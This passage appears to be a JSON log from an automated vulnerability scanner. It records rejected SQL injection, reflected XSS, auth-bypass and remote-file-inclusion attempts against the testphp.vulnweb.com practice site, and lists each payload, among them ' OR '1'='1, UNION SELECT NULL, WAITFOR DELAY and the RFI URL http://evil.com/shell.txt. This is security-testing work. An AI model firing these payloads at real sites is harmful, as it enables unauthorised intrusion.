      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771350164.5030909
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771350166.0852852
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771350167.690537
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771350169.338967
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<script>alert('XSS')</script>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350270.906026
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<img src=x onerror=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350272.7684531
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<svg onload=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350274.398189
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "'"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350275.95865
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "\""
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350277.603588
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350279.299734
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=1--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350280.943288
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=2--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350282.678825
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 'a'='a"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771350284.3346171
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771350351.254443
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771350351.459648
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771350351.4791849
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771350353.3487082
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771350353.940165
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771350355.108793
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771350357.0708082
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771350357.2902038
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771350358.641603
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in searchFor: no proof of execution (score: 0/100)",
      "timestamp": 1771350359.583952
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in searchFor: no proof of execution (score: 20/100)",
      "timestamp": 1771350359.769726
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771350360.815899
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in goButton: no proof of execution (score: 0/100)",
      "timestamp": 1771350361.150208
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in goButton: no proof of execution (score: 20/100)",
      "timestamp": 1771350361.322602
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771384311.7213812
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771384313.298322
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771384314.909744
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771384316.476968
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771384318.0317461
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771384319.6290948
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<script>alert('XSS')</script>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384411.85551
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<img src=x onerror=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384413.589391
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<svg onload=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384415.891955
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "'"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384417.519396
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "\""
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384419.240395
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384420.959083
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=1--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384422.568177
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=2--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384424.293283
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 'a'='a"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771384426.038038
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771384504.291442
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771384504.506165
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771384504.512715
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771384505.8537018
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771384506.0897799
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771384506.099565
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771384508.576139
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)",
      "timestamp": 1771384510.708765
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)",
      "timestamp": 1771384511.020888
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php",
      "attempted_payloads": [
        "' UNION SELECT NULL--"
      ],
      "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)",
      "timestamp": 1771384514.59153
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771805652.685057
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771805654.243371
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771805655.803651
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771805657.371906
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771805658.941612
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771805660.526166
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<script>alert('XSS')</script>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805750.5929239
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<img src=x onerror=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805752.1684322
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<svg onload=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805753.733855
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "'"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805755.2986062
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "\""
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805756.867149
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805758.4554482
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=1--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805760.024313
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=2--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)",
      "timestamp": 1771805761.607185
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)",
      "timestamp": 1771805837.551647
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771805837.868068
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771805839.311368
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "http://evil.com/shell.txt"
      ],
      "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771805839.628087
    },
    {
      "vuln_type": "sqli_time",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php",
      "attempted_payloads": [
        "'; WAITFOR DELAY '0:0:5'--"
      ],
      "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)",
      "timestamp": 1771805840.8821042
    },
    {
      "vuln_type": "rfi",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
